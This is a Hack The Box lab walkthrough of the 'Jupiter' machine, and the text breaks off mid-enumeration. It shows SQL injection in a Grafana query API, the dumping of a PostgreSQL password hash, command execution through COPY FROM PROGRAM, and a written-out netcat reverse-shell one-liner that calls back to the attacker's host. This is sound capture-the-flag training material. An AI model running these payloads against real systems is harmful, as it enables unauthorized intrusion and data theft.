HTB Jupiter Walkthrough

Discover how temporary files can provide information for getting access to a Jupyter notebook.

HTB Jupiter Walkthrough
This image was generated using Microsoft Copilot.

A really interesting BOX, one of those that I really like, with a small reverse engineering session in the second part where the resolution can take place in a double mode (but where I don't like easy things and therefore I opted for the more impervious). Let's not get lost in chat and let's get started.

The nmap scan.

Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-11 12:13 CEST
Nmap scan report for 10.10.11.216
Host is up (0.11s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 ac:5b:be:79:2d:c9:7a:00:ed:9a:e6:2b:2d:0e:9b:32 (ECDSA)
|_  256 60:01:d7:db:92:7b:13:f0:ba:20:c6:c9:00:a7:1b:41 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://jupiter.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.62 seconds

Again, a standard BOX. Let's insert the domain jupiter.htb into the /etc/hosts file.
Wow... nice portal. I see different photos in the team but they always show the same name, "Amanda Stone", let's keep this information in mind. In the other browsable pages, apart from the contact page which shows the support email ([email protected]), I can't find anything particularly interesting, even the contact form seems fake. Ok, let's move on to a little more invasive analysis with a wfuzz session, searching for subdomains.

┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox/_10.10.11.216 - Jupiter (lin)]
└─$ wfuzz -c -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -u http://jupiter.htb -H "Host:FUZZ.jupiter.htb" --hc 301
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://jupiter.htb/
Total requests: 5000

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                             
=====================================================================

000001960:   200        211 L    798 W      34390 Ch    "kiosk"                                                             
000002700:   400        7 L      12 W       166 Ch      "m."                                                                
000002795:   400        7 L      12 W       166 Ch      "ns2.cl.bellsouth.net."                                             
000002885:   400        7 L      12 W       166 Ch      "ns2.viviotech.net."                                                
000002883:   400        7 L      12 W       166 Ch      "ns1.viviotech.net."                                                
000003050:   400        7 L      12 W       166 Ch      "ns3.cl.bellsouth.net."                                             
000004082:   400        7 L      12 W       166 Ch      "jordan.fortwayne.com."                                             
000004081:   400        7 L      12 W       166 Ch      "ferrari.fortwayne.com."                                            
000004083:   400        7 L      12 W       166 Ch      "quatro.oweb.com."                                                  

Total time: 56.56239
Processed Requests: 5000
Filtered Requests: 4991
Requests/sec.: 88.39795

Ok, interesting, let me to run also a dirb session for hidden subfolders on the original portal, in the meantime I'll check the new portal, after I put the domain into the /etc/hosts file.

On the second domain a grafana dashboard is present and on the login page I can find the exact version.

So, I can search for the exact exploit. In the meantime, the dirb session is finished.

┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox/_10.10.11.216 - Jupiter (lin)]
└─$ dirb http://jupiter.htb/                                       

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Aug 11 12:27:53 2023
URL_BASE: http://jupiter.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://jupiter.htb/ ----
==> DIRECTORY: http://jupiter.htb/css/                                                                                              
==> DIRECTORY: http://jupiter.htb/fonts/                                                                                            
==> DIRECTORY: http://jupiter.htb/img/                                                                                              
+ http://jupiter.htb/index.html (CODE:200|SIZE:19680)                                                                               
==> DIRECTORY: http://jupiter.htb/js/                                                                                               
[...]

Nothing seems to come out. Back to the exploit search, I find a couple of CVEs for the specific version of grafana (CVE-2023-2801, CVE-2023-2183), unfortunately, I can't find any examples of the exploits. Browsing the domain, however, I realize that there is a redirect to a different routing, so I check with BurpSuite which redirects are made and I find something interesting.

Let's see if sqlmap makes our life easier and gives us some insight into possible injections.

┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox/_10.10.11.216 - Jupiter (lin)]
└─$ sqlmap --wizard       
        ___
       __H__                                                                                                                         
 ___ ___[)]_____ ___ ___  {1.7.7#stable}                                                                                             
|_ -| . [(]     | .'| . |                                                                                                            
|___|_  [']_|_|_|__,|  _|                                                                                                            
      |_|V...       |_|   https://sqlmap.org                                                                                         

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 21:41:24 /2023-08-11/

[21:41:24] [INFO] starting wizard interface
Please enter full target URL (-u): http://kiosk.jupiter.htb/api/ds/query
POST data (--data) [Enter for None]: {"queries":[{"refId":"A","datasource":{"type":"postgres","uid":"YItSLg-Vz"},"rawSql":"select \n  count(parent) \nfrom \n  moons \nwhere \n  parent = 'Saturn';","format":"table","datasourceId":1,"intervalMs":60000,"maxDataPoints":940}],"range":{"from":"2023-08-11T13:36:58.932Z","to":"2023-08-11T19:36:58.932Z","raw":{"from":"now-6h","to":"now"}},"from":"1691761018932","to":"1691782618932"}
Injection difficulty (--level/--risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard
> 
Enumeration (--banner/--current-user/etc). Please choose:
[1] Basic (default)
[2] Intermediate
[3] All
> 

sqlmap is running, please wait..

sqlmap identified the following injection point(s) with a total of 260 HTTP(s) requests:
---
Parameter: JSON rawSql ((custom) POST)
    Type: inline query
    Title: Generic inline queries
    Payload: {"queries":[{"refId":"A","datasource":{"type":"postgres","uid":"YItSLg-Vz"},"rawSql":"(SELECT CONCAT(CONCAT('qjxjq',(CASE WHEN (1937=1937) THEN '1' ELSE '0' END)),'qjbbq'))","format":"table","datasourceId":1,"intervalMs":60000,"maxDataPoints":940}],"range":{"from":"2023-08-11T13:36:58.932Z","to":"2023-08-11T19:36:58.932Z","raw":{"from":"now-6h","to":"now"}},"from":"1691761018932","to":"1691782618932"}

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: {"queries":[{"refId":"A","datasource":{"type":"postgres","uid":"YItSLg-Vz"},"rawSql":"select \n  count(parent) \nfrom \n  moons \nwhere \n  parent = 'Saturn';;SELECT PG_SLEEP(5)--","format":"table","datasourceId":1,"intervalMs":60000,"maxDataPoints":940}],"range":{"from":"2023-08-11T13:36:58.932Z","to":"2023-08-11T19:36:58.932Z","raw":{"from":"now-6h","to":"now"}},"from":"1691761018932","to":"1691782618932"}
---
[21:43:44] [INFO] retrieved: 'PostgreSQL 14.8 (Ubuntu 14.8-0ubuntu0.22.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 11.3....
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: PostgreSQL
banner: 'PostgreSQL 14.8 (Ubuntu 14.8-0ubuntu0.22.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 11.3.0-1ubuntu1~22.04.1) 11.3.0, 64-bit'                                                                                                                          
[21:43:45] [INFO] retrieved: 'grafana_viewer'
current user: 'grafana_viewer'
[21:43:46] [INFO] retrieved: 'public'
current database (equivalent to schema on PostgreSQL): 'public'
current user is DBA: True

[*] ending @ 21:43:46 /2023-08-11/

Excellent, let's try to understand how the DB is made.

┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox/_10.10.11.216 - Jupiter (lin)]
└─$ sqlmap -u "http://kiosk.jupiter.htb/api/ds/query" --data "{\"queries\":[{\"refId\":\"A\",\"datasource\":{\"type\":\"postgres\",\"uid\":\"YItSLg-Vz\"},\"rawSql\":\"select \n  count(parent) \nfrom \n  moons \nwhere \n  parent = 'Saturn';\",\"format\":\"table\",\"datasourceId\":1,\"intervalMs\":60000,\"maxDataPoints\":940}],\"range\":{\"from\":\"2023-08-11T13:36:58.932Z\",\"to\":\"2023-08-11T19:36:58.932Z\",\"raw\":{\"from\":\"now-6h\",\"to\":\"now\"}},\"from\":\"1691761018932\",\"to\":\"1691782618932\"}" --dbs   
        ___
       __H__                                                                                                                         
 ___ ___[)]_____ ___ ___  {1.7.7#stable}                                                                                             
|_ -| . [,]     | .'| . |                                                                                                            
|___|_  [)]_|_|_|__,|  _|                                                                                                            
      |_|V...       |_|   https://sqlmap.org                                                                                         

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:13:46 /2023-08-11/

JSON data found in POST body. Do you want to process it? [Y/n/q] 
[22:13:47] [INFO] resuming back-end DBMS 'postgresql' 
[22:13:47] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON rawSql ((custom) POST)
    Type: inline query
    Title: Generic inline queries
    Payload: {"queries":[{"refId":"A","datasource":{"type":"postgres","uid":"YItSLg-Vz"},"rawSql":"(SELECT CONCAT(CONCAT('qjxjq',(CASE WHEN (1937=1937) THEN '1' ELSE '0' END)),'qjbbq'))","format":"table","datasourceId":1,"intervalMs":60000,"maxDataPoints":940}],"range":{"from":"2023-08-11T13:36:58.932Z","to":"2023-08-11T19:36:58.932Z","raw":{"from":"now-6h","to":"now"}},"from":"1691761018932","to":"1691782618932"}

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: {"queries":[{"refId":"A","datasource":{"type":"postgres","uid":"YItSLg-Vz"},"rawSql":"select \n  count(parent) \nfrom \n  moons \nwhere \n  parent = 'Saturn';;SELECT PG_SLEEP(5)--","format":"table","datasourceId":1,"intervalMs":60000,"maxDataPoints":940}],"range":{"from":"2023-08-11T13:36:58.932Z","to":"2023-08-11T19:36:58.932Z","raw":{"from":"now-6h","to":"now"}},"from":"1691761018932","to":"1691782618932"}
---
[22:13:48] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: PostgreSQL
[22:13:48] [WARNING] schema names are going to be used on PostgreSQL for enumeration as the counterpart to database names on other DBMSes
[22:13:48] [INFO] fetching database (schema) names
available databases [3]:
[*] information_schema
[*] pg_catalog
[*] public

[22:13:48] [INFO] fetched data logged to text files under '/home/in7rud3r/.local/share/sqlmap/output/kiosk.jupiter.htb'

[*] ending @ 22:13:48 /2023-08-11/

Only one DB, the others seem to be system ones. Let's recover some tables.

┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox/_10.10.11.216 - Jupiter (lin)]
└─$ sqlmap -u "http://kiosk.jupiter.htb/api/ds/query" --data "{\"queries\":[{\"refId\":\"A\",\"datasource\":{\"type\":\"postgres\",\"uid\":\"YItSLg-Vz\"},\"rawSql\":\"select \n  count(parent) \nfrom \n  moons \nwhere \n  parent = 'Saturn';\",\"format\":\"table\",\"datasourceId\":1,\"intervalMs\":60000,\"maxDataPoints\":940}],\"range\":{\"from\":\"2023-08-11T13:36:58.932Z\",\"to\":\"2023-08-11T19:36:58.932Z\",\"raw\":{\"from\":\"now-6h\",\"to\":\"now\"}},\"from\":\"1691761018932\",\"to\":\"1691782618932\"}" --schema
[...]
Database: public
Table: moons
[4 columns]
+---------+------+
| Column  | Type |
+---------+------+
| name    | text |
| id      | int4 |
| meaning | text |
| parent  | text |
+---------+------+
[...]

Apart from the moons table in the public database, nothing seems to be particularly interesting. However, we have the system DBs, where the user table seems interesting.

┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox/_10.10.11.216 - Jupiter (lin)]
└─$ sqlmap -u "http://kiosk.jupiter.htb/api/ds/query" --data "{\"queries\":[{\"refId\":\"A\",\"datasource\":{\"type\":\"postgres\",\"uid\":\"YItSLg-Vz\"},\"rawSql\":\"select \n  count(parent) \nfrom \n  moons \nwhere \n  parent = 'Saturn';\",\"format\":\"table\",\"datasourceId\":1,\"intervalMs\":60000,\"maxDataPoints\":940}],\"range\":{\"from\":\"2023-08-11T13:36:58.932Z\",\"to\":\"2023-08-11T19:36:58.932Z\",\"raw\":{\"from\":\"now-6h\",\"to\":\"now\"}},\"from\":\"1691761018932\",\"to\":\"1691782618932\"}" --dump -D pg_catalog -T pg_authid                             
[...]
Database: pg_catalog
Table: pg_authid
[13 entries]
+-------+---------------------------+----------+------------+-------------+-------------+---------------------------------------------------------------------------------------------------------------------------------------+--------------+--------------+---------------+---------------+----------------+
| oid   | rolname                   | rolsuper | rolinherit | rolcanlogin | rolcreatedb | rolpassword                                                                                                                           | rolbypassrls | rolconnlimit | rolcreaterole | rolvaliduntil | rolreplication |
+-------+---------------------------+----------+------------+-------------+-------------+---------------------------------------------------------------------------------------------------------------------------------------+--------------+--------------+---------------+---------------+----------------+
| 10    | postgres                  | true     | true       | true        | true        | NULL                                                                                                                                  | true         | -1           | true          | NULL          | true           |
| 3373  | pg_monitor                | false    | true       | false       | false       | NULL                                                                                                                                  | false        | -1           | false         | NULL          | false          |
| 3374  | pg_read_all_settings      | false    | true       | false       | false       | NULL                                                                                                                                  | false        | -1           | false         | NULL          | false          |
| 3375  | pg_read_all_stats         | false    | true       | false       | false       | NULL                                                                                                                                  | false        | -1           | false         | NULL          | false          |
| 3377  | pg_stat_scan_tables       | false    | true       | false       | false       | NULL                                                                                                                                  | false        | -1           | false         | NULL          | false          |
| 4200  | pg_signal_backend         | false    | true       | false       | false       | NULL                                                                                                                                  | false        | -1           | false         | NULL          | false          |
| 4569  | pg_read_server_files      | false    | true       | false       | false       | NULL                                                                                                                                  | false        | -1           | false         | NULL          | false          |
| 4570  | pg_write_server_files     | false    | true       | false       | false       | NULL                                                                                                                                  | false        | -1           | false         | NULL          | false          |
| 4571  | pg_execute_server_program | false    | true       | false       | false       | NULL                                                                                                                                  | false        | -1           | false         | NULL          | false          |
| 6171  | pg_database_owner         | false    | true       | false       | false       | NULL                                                                                                                                  | false        | -1           | false         | NULL          | false          |
| 6181  | pg_read_all_data          | false    | true       | false       | false       | NULL                                                                                                                                  | false        | -1           | false         | NULL          | false          |
| 6182  | pg_write_all_data         | false    | true       | false       | false       | NULL                                                                                                                                  | false        | -1           | false         | NULL          | false          |
| 16385 | grafana_viewer            | true     | true       | true        | false       | SCRAM-SHA-256$4096:K9IJE4h9f9+tr7u7AZL76w==$qdrtC1sThWDZGwnPwNctrEbEwc8rFpLWYFVTeLOy3ss=:oD4gG69X8qrSG4bXtQ62M83OkjeFDOYrypE3tUv0JOY= | false        | -1           | false         | NULL          | false          |
+-------+---------------------------+----------+------------+-------------+-------------+---------------------------------------------------------------------------------------------------------------------------------------+--------------+--------------+---------------+---------------+----------------+

[23:10:20] [INFO] table 'pg_catalog.pg_authid' dumped to CSV file '/home/in7rud3r/.local/share/sqlmap/output/kiosk.jupiter.htb/dump/pg_catalog/pg_authid.csv'                                                                                                             
[23:10:20] [INFO] fetched data logged to text files under '/home/in7rud3r/.local/share/sqlmap/output/kiosk.jupiter.htb'

[*] ending @ 23:10:20 /2023-08-11/

Great, a password... encrypted... let's try hashcat.

┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/hc]
└─$ echo 'SCRAM-SHA-256$4096:K9IJE4h9f9+tr7u7AZL76w==$qdrtC1sThWDZGwnPwNctrEbEwc8rFpLWYFVTeLOy3ss=:oD4gG69X8qrSG4bXtQ62M83OkjeFDOYrypE3tUv0JOY=' > pwd.hash
                                                                                                                                     
┌──(in7rud3r㉿in7rud3r-kali)-[~/…/hackthebox/_10.10.11.216 - Jupiter (lin)/attack/hc]
└─$ hashcat pwd.hash /usr/share/wordlists/rockyou.txt     
hashcat (v6.2.6) starting in autodetect mode

OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-haswell-Intel(R) Core(TM) i5-7300HQ CPU @ 2.50GHz, 6886/13836 MB (2048 MB allocatable), 4MCU

Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

28600 | PostgreSQL SCRAM-SHA-256 | Database Server

NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
[...]

The hashcat managed to identify the postgres algorithm, but still fails to crack the password. Ok, searching for how to execute shell command in postgres, I found this interesting article.

Command Execution with PostgreSQL Copy Command
PostgreSQL access lead to command execution. Supported versions: v9.3–v14

So I started to try executing custom queries on the DB.

┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox/_10.10.11.216 - Jupiter (lin)]
└─$ sqlmap -u "http://kiosk.jupiter.htb/api/ds/query" --data "{\"queries\":[{\"refId\":\"A\",\"datasource\":{\"type\":\"postgres\",\"uid\":\"YItSLg-Vz\"},\"rawSql\":\"select \n  count(parent) \nfrom \n  moons \nwhere \n  parent = 'Saturn';\",\"format\":\"table\",\"datasourceId\":1,\"intervalMs\":60000,\"maxDataPoints\":940}],\"range\":{\"from\":\"2023-08-11T13:36:58.932Z\",\"to\":\"2023-08-11T19:36:58.932Z\",\"raw\":{\"from\":\"now-6h\",\"to\":\"now\"}},\"from\":\"1691761018932\",\"to\":\"1691782618932\"}" --sql-query="CREATE TABLE read_files_2(output text)"
        ___
       __H__                                                                                                                         
 ___ ___[,]_____ ___ ___  {1.7.7#stable}                                                                                             
|_ -| . ["]     | .'| . |                                                                                                            
|___|_  [,]_|_|_|__,|  _|                                                                                                            
      |_|V...       |_|   https://sqlmap.org                                                                                         

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:36:25 /2023-08-12/

JSON data found in POST body. Do you want to process it? [Y/n/q] 
[11:36:25] [INFO] resuming back-end DBMS 'postgresql' 
[11:36:25] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON rawSql ((custom) POST)
    Type: inline query
    Title: Generic inline queries
    Payload: {"queries":[{"refId":"A","datasource":{"type":"postgres","uid":"YItSLg-Vz"},"rawSql":"(SELECT CONCAT(CONCAT('qjxjq',(CASE WHEN (1937=1937) THEN '1' ELSE '0' END)),'qjbbq'))","format":"table","datasourceId":1,"intervalMs":60000,"maxDataPoints":940}],"range":{"from":"2023-08-11T13:36:58.932Z","to":"2023-08-11T19:36:58.932Z","raw":{"from":"now-6h","to":"now"}},"from":"1691761018932","to":"1691782618932"}

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: {"queries":[{"refId":"A","datasource":{"type":"postgres","uid":"YItSLg-Vz"},"rawSql":"select \n  count(parent) \nfrom \n  moons \nwhere \n  parent = 'Saturn';;SELECT PG_SLEEP(5)--","format":"table","datasourceId":1,"intervalMs":60000,"maxDataPoints":940}],"range":{"from":"2023-08-11T13:36:58.932Z","to":"2023-08-11T19:36:58.932Z","raw":{"from":"now-6h","to":"now"}},"from":"1691761018932","to":"1691782618932"}
---
[11:36:26] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.18.0
back-end DBMS: PostgreSQL
[11:36:26] [INFO] executing SQL data definition statement: 'CREATE TABLE read_files_2(output text)'
[11:36:26] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)      
CREATE TABLE read_files_2(output text): 'NULL'
[11:36:30] [INFO] fetched data logged to text files under '/home/in7rud3r/.local/share/sqlmap/output/kiosk.jupiter.htb'

[*] ending @ 11:36:30 /2023-08-12/

It seems to work. So, I tried to insert some things...

┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox/_10.10.11.216 - Jupiter (lin)]
└─$ sqlmap -u "http://kiosk.jupiter.htb/api/ds/query" --data "{\"queries\":[{\"refId\":\"A\",\"datasource\":{\"type\":\"postgres\",\"uid\":\"YItSLg-Vz\"},\"rawSql\":\"select \n  count(parent) \nfrom \n  moons \nwhere \n  parent = 'Saturn';\",\"format\":\"table\",\"datasourceId\":1,\"intervalMs\":60000,\"maxDataPoints\":940}],\"range\":{\"from\":\"2023-08-11T13:36:58.932Z\",\"to\":\"2023-08-11T19:36:58.932Z\",\"raw\":{\"from\":\"now-6h\",\"to\":\"now\"}},\"from\":\"1691761018932\",\"to\":\"1691782618932\"}" --sql-query="insert into read_files_2 values ('this is a test')" 
[...]

...and retrieving them.

┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox/_10.10.11.216 - Jupiter (lin)]
└─$ sqlmap -u "http://kiosk.jupiter.htb/api/ds/query" --data "{\"queries\":[{\"refId\":\"A\",\"datasource\":{\"type\":\"postgres\",\"uid\":\"YItSLg-Vz\"},\"rawSql\":\"select \n  count(parent) \nfrom \n  moons \nwhere \n  parent = 'Saturn';\",\"format\":\"table\",\"datasourceId\":1,\"intervalMs\":60000,\"maxDataPoints\":940}],\"range\":{\"from\":\"2023-08-11T13:36:58.932Z\",\"to\":\"2023-08-11T19:36:58.932Z\",\"raw\":{\"from\":\"now-6h\",\"to\":\"now\"}},\"from\":\"1691761018932\",\"to\":\"1691782618932\"}" --dump -T read_files_2
[...]
Database: public
Table: read_files_2
[2 entries]
+----------------------+
| output               |
+----------------------+
| this is another test |
| this is a test       |
+----------------------+

[11:40:53] [INFO] table 'public.read_files_2' dumped to CSV file '/home/in7rud3r/.local/share/sqlmap/output/kiosk.jupiter.htb/dump/public/read_files_2.csv'                                                                                                               
[11:40:53] [INFO] fetched data logged to text files under '/home/in7rud3r/.local/share/sqlmap/output/kiosk.jupiter.htb'

[*] ending @ 11:40:53 /2023-08-12/

Unfortunately, when I try reading files and executing commands, it doesn't work. But after a while of dealing with this type of task, you will learn that the manual approach will always give better results than the automated ones, so put aside the sqlmap tool that has given us a lot of satisfaction so far and we resume the burpsuite, wherein the repeater there is still the request that led us to the exploit, to try to execute the query directly from there.

and it works! :) So, spawn a reverse shell!

┌──(in7rud3r㉿in7rud3r-kali)-[~/Dropbox/hackthebox/_10.10.11.216 - Jupiter (lin)]
└─$ nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.96] from jupiter.htb [10.10.11.216] 51316
/bin/sh: 0: can't access tty; job control turned off
$ whoami
postgres
$ ls -la /home/
total 16
drwxr-xr-x  4 root   root   4096 Mar  7 13:00 .
drwxr-xr-x 19 root   root   4096 May  4 18:59 ..
drwxr-x---  6 jovian jovian 4096 May  4 18:59 jovian
drwxr-x---  8 juno   juno   4096 May  4 12:10 juno
$ 

The connection does not last long and after a few minutes the netcat connection drops. In any case, I don't seem to impersonate a useful user to capture the flag. To fix this, just start netcat by releasing the console, then add an "&" to the end of the command and you have a shell that won't log you out again.

COPY read_files_2 FROM PROGRAM $$rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.96 4444 >/tmp/f &$$;

Let's start a linpeas session (usual procedure: download the latest version of the script, start a web service to reach the script just downloaded from the BOX, start a netcat listener and run the script remotely redirecting the output to the listener) and see if there is something interesting.

linpeas output

[...]
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports                                                        
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN      1187/postgres                                        
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8888          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
[...]
╔══════════╣ Analyzing PostgreSQL Files (limit 70)
Version: psql (PostgreSQL) 14.8 (Ubuntu 14.8-0ubuntu0.22.04.1)                                                                       

-rw-r----- 1 postgres postgres 5002 Mar  7 10:39 /etc/postgresql/14/main/pg_hba.conf
local   all             postgres                                peer
local   all             all                                     peer
host    all             all             127.0.0.1/32            scram-sha-256
host    all             all             ::1/128                 scram-sha-256
local   replication     all                                     peer
host    replication     all             127.0.0.1/32            scram-sha-256
host    replication     all             ::1/128                 scram-sha-256

-rw-r--r-- 1 postgres postgres 29048 Mar  7 10:39 /etc/postgresql/14/main/postgresql.conf
ssl = on
ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem'
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
max_wal_size = 1GB
min_wal_size = 80MB
log_timezone = 'Etc/UTC'
stats_temp_directory = '/var/run/postgresql/14-main.pg_stat_tmp'
datestyle = 'iso, mdy'
timezone = 'Etc/UTC'
default_text_search_config = 'pg_catalog.english'
[...]
-rw-r--r-- 1 root root 389 Jul 27  2022 /etc/default/nginx

-rwxr-xr-x 1 root root 4579 Jul 27  2022 /etc/init.d/nginx

-rw-r--r-- 1 root root 329 Jul 27  2022 /etc/logrotate.d/nginx

drwxr-xr-x 8 root root 4096 May  4 16:01 /etc/nginx
-rw-r--r-- 1 root root 1447 Jul 27  2022 /etc/nginx/nginx.conf
[...]
╔══════════╣ Analyzing Grafana Files (limit 70)
-rw-r----- 1 root grafana 54096 Mar  7 11:49 /etc/grafana/grafana.ini                                                                
[...]
                      ╔════════════════════════════════════╗
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════                                                   
                      ╚════════════════════════════════════╝                                                                         
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                                     
-rwsr-xr-x 1 root root 19K Feb 26  2022 /usr/libexec/polkit-agent-helper-1                                                           
-rwsr-xr-x 1 root root 331K Nov 23  2022 /usr/lib/openssh/ssh-keysign
-rwsr-xr-- 1 root messagebus 35K Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 136K Dec  1  2022 /usr/lib/snapd/snap-confine  --->  Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escala
tion(CVE-2019-7304)                                                                                                                  
-rwsr-xr-x 1 root root 40K Nov 24  2022 /usr/bin/newgrp  --->  HP-UX_10.20
-rwsr-xr-x 1 root root 59K Nov 24  2022 /usr/bin/passwd  --->  Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solari
s_2.3_to_2.5.1(02-1997)                                                                                                              
-rwsr-xr-x 1 root root 227K Apr  3 18:00 /usr/bin/sudo  --->  check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 72K Nov 24  2022 /usr/bin/chfn  --->  SuSE_9.3/10
-rwsr-xr-x 1 root root 71K Nov 24  2022 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 44K Nov 24  2022 /usr/bin/chsh
-rwsr-xr-x 1 root root 47K Feb 21  2022 /usr/bin/mount  --->  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 55K Feb 21  2022 /usr/bin/su
-rwsr-xr-x 1 root root 35K Feb 21  2022 /usr/bin/umount  --->  BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 35K Mar 23  2022 /usr/bin/fusermount3

╔══════════╣ SGID
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                                     
-rwxr-sr-x 1 root utmp 15K Mar 24  2022 /usr/lib/x86_64-linux-gnu/utempter/utempter                                                  
-rwxr-sr-x 1 root shadow 23K Feb  2  2023 /usr/sbin/pam_extrausers_chkpwd
-rwxr-sr-x 1 root shadow 27K Feb  2  2023 /usr/sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 23K Nov 24  2022 /usr/bin/expiry
-rwxr-sr-x 1 root tty 23K Feb 21  2022 /usr/bin/wall
-rwxr-sr-x 1 root crontab 39K Mar 23  2022 /usr/bin/crontab
-rwxr-sr-x 1 root tty 23K Feb 21  2022 /usr/bin/write.ul (Unknown SGID binary)
-rwxr-sr-x 1 root _ssh 287K Nov 23  2022 /usr/bin/ssh-agent
-rwxr-sr-x 1 root shadow 71K Nov 24  2022 /usr/bin/chage
[...]
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files                                                    
/dev/mqueue                                                                                                                          
/dev/shm
/dev/shm/edit_network.yml
/dev/shm/network-simulation.yml
/dev/shm/network-simulation.yml.1
/dev/shm/network-simulation.yml.bak
/dev/shm/network-simulation.yml.save
#)You_can_write_even_more_files_inside_last_directory
[...]
╔══════════╣ Interesting GROUP writable files (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files                                                    
  Group postgres:                                                                                                                    
/dev/shm/network-simulation.yml.save                                                                                                 
/tmp/network-simulation.yml
/run/postgresql
/var/lib/postgresql/.local
/var/log/postgresql
[...]

